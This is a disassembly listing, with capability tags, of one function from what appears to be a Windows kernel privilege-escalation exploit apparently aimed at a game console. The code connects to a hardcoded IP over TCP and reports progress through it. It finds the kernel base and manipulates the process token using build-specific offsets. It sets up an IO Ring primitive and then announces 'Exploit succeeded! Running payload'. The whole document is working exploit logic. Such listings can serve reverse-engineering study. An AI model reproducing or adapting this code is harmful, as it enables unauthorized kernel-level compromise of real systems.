Function at 0x140001540
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get system information on windows
Initialize winsock library
Send data
Send data on socket

Disassembly:
push rbx
push rdi
sub rsp, 0x6c8
xor edx, edx
lea rcx, [rsp + 0x2a0]
mov r8d, 0x400
call fcn.1400164b0
mov ecx, 0x202
lea rdx, [0x140025d60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov ecx, ebx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
movzx ecx, word [0x140024a78]
mov qword [0x140025d48], rax
mov word [0x140025d30], bx
call qword [sym.imp.WS2_32.dll_htons]
mov ecx, 0x44000000
mov word [0x140025d32], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140025d48]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x140025d30]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [0x140025d34], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rcx, qword [0x140025d48]
lea r8d, [rdi + 0x40]
xor r9d, r9d
lea rdx, str.Collateral_Damage____carrot_c4k3___landaire__exploits.forsale__n
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov dword [rsp + 0x6f0], edi
mov r8d, 0x244
lea rcx, [rsp + 0x50]
call fcn.1400164b0
lea rax, [rsp + 0x6f0]
mov dword [rsp + 0x6f8], edi
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x50]
lea r8d, [rdi + 4]
mov dword [rsp + 0x20], 0x244
lea rdx, [rsp + 0x6f8]
mov ecx, 0xde
call qword [sym.imp.ntdll.dll_NtQuerySystemInformationEx]
mov eax, dword [rsp + 0x60]
lea r8, str.Build_number:__i._i_n
mov r9d, dword [rsp + 0x5c]
lea rcx, [rsp + 0x2a0]
mov edx, 0x400
mov dword [rsp + 0x20], eax
call fcn.140001010
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x2a0]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x140001693
mov rcx, qword [0x140025d48]
lea rdx, [rsp + 0x2a0]
xor r9d, r9d
mov qword [rsp + 0x6a8], r14
call qword [sym.imp.WS2_32.dll_send]
cmp dword [rsp + 0x5c], 0x6336
jne 0x140001a4d
mov eax, dword [rsp + 0x60]
cmp eax, 0x117e
jne 0x1400016da
mov r14d, eax
jmp 0x1400016ee
add eax, 0xffffecd4
cmp eax, 1
ja 0x140001a4d
mov r14d, 0x132c
mov rcx, qword [0x140025d48]
lea rdx, str.Attempting_to_find_kernel_base..._n
xor r9d, r9d
mov dword [0x140025cf4], r14d
lea r8d, [r9 + 0x22]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [0x140025d48]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call fcn.140001260
mov qword [0x140025cd8], rax
test rax, rax
jne 0x140001751
mov rcx, qword [0x140025d48]
lea r8d, [rax + 0x3f]
xor r9d, r9d
lea rdx, str.Failed_to_find_kernel_base__Reboot_your_console_and_try_again._n
call qword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
call fcn.1400068c8
int3
mov qword [rsp + 0x6e0], rbp
lea r8, str.Found_likely_kernel_base:__p_n
mov qword [rsp + 0x6c0], rsi
lea rcx, [rsp + 0x2a0]
mov qword [rsp + 0x6b8], r12
mov r9, rax
mov qword [rsp + 0x6b0], r13
mov edx, 0x400
mov qword [rsp + 0x6a0], r15
call fcn.140001010
lea rax, [rsp + 0x2a0]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x1400017a0
mov rcx, qword [0x140025d48]
lea rdx, [rsp + 0x2a0]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [0x140025d48]
lea rdx, str.Attempting_exploit..._n
xor r9d, r9d
lea r8d, [r9 + 0x16]
call qword [sym.imp.WS2_32.dll_send]
cmp dword [0x140025cf4], 0x117e
jne 0x140001807
mov r12d, 0xc5a40
mov qword [rsp + 0x48], 0xc5a3e
mov qword [rsp + 0x40], 0xc5a3d
lea r13d, [r12 - 1]
jmp 0x140001824
mov r12d, 0xc5a30
mov qword [rsp + 0x48], 0xc5a2e
mov qword [rsp + 0x40], 0xc5a2d
lea r13d, [r12 - 1]
call fcn.140001150
mov r15, qword [0x140025cd8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [0x140024a70]
mov edx, 0x2000000
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [0x140024a70]
lea rax, [0x140025cf0]
lea rsi, [0x140025f00]
mov qword [rsp + 0x20], rax
mov r8, rsi
mov r9d, 0x8000
mov edx, 0x16
call qword [sym.imp.ntdll.dll_NtQueryInformationToken]
mov rbp, rdi
nop dword [rax]
mov eax, edi
lea rdx, str.TSA:__ProcUnique
add rsi, rax
mov r8d, 0x20
mov rcx, rsi
call fcn.140016ef0
test eax, eax
je 0x1400018b1
inc edi
lea rsi, [0x140025f00]
cmp edi, 0x7fe0
jb 0x140001880
jmp 0x1400018b4
mov rbp, rsi
mov rsi, qword [rsp + 0x6c0]
lea r8, [0x140025f00]
xor edi, edi
mov qword [0x140025ce8], rbp
mov ecx, edi
nop
mov edx, ecx
add rdx, r8
cmp qword [rdx], rbp
je 0x1400018e6
inc ecx
cmp ecx, 0x7fe0
jb 0x1400018d0
jmp 0x1400018ed
mov qword [0x140025cf8], rdx
mov edx, 4
lea rcx, [0x140025ce0]
mov r8d, edx
call fcn.140001c70
lea rcx, [r15 + r12]
call fcn.1400010a0
lea rcx, [r15 + r13]
call fcn.1400010a0
mov rcx, qword [rsp + 0x48]
add rcx, r15
call fcn.1400010a0
mov rcx, qword [rsp + 0x40]
add rcx, r15
call fcn.1400010a0
mov edx, 4
mov qword [0x140025ce0], rdi
mov r8d, edx
lea rcx, [0x140025ce0]
call fcn.140001c70
cmp qword [0x140025ce0], rdi
mov r15, qword [rsp + 0x6a0]
mov r13, qword [rsp + 0x6b0]
mov r12, qword [rsp + 0x6b8]
mov rbp, qword [rsp + 0x6e0]
jne 0x140001994
mov rcx, qword [0x140025d48]
lea rdx, str.Exploit_failed__Reboot_your_console_and_try_again._n
xor r9d, r9d
lea r8d, [r9 + 0x33]
call qword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
call fcn.1400068c8
int3
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rdi
call fcn.140001a70
test eax, eax
je 0x1400019f4
mov r9d, eax
lea r8, str.IO_Ring_setup_failed._Result:__i_nReboot_your_console_and_try_again._n
mov edx, 0x400
lea rcx, [rsp + 0x2a0]
call fcn.140001010
lea rax, [rsp + 0x2a0]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x1400019d0
mov rcx, qword [0x140025d48]
lea rdx, [rsp + 0x2a0]
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rbx, qword [rsp + 0x40]
lea rcx, [rbx + 0x9d]
call fcn.1400010a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x28], r14d
mov r9, rbx
mov ecx, eax
mov r8d, 0x1000
mov rax, qword [0x140025cd8]
mov qword [rsp + 0x20], rax
call fcn.140001f70
mov rcx, qword [0x140025d48]
lea rdx, str.Exploit_succeeded__Running_payload__n_n
xor r9d, r9d
lea r8d, [r9 + 0x25]
call qword [sym.imp.WS2_32.dll_send]
call fcn.140002220
int3
mov rcx, qword [0x140025d48]
lea rdx, str.Unsupported_build__Aborting._n
xor r9d, r9d
lea r8d, [r9 + 0x1d]
call qword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
call fcn.1400068c8
int3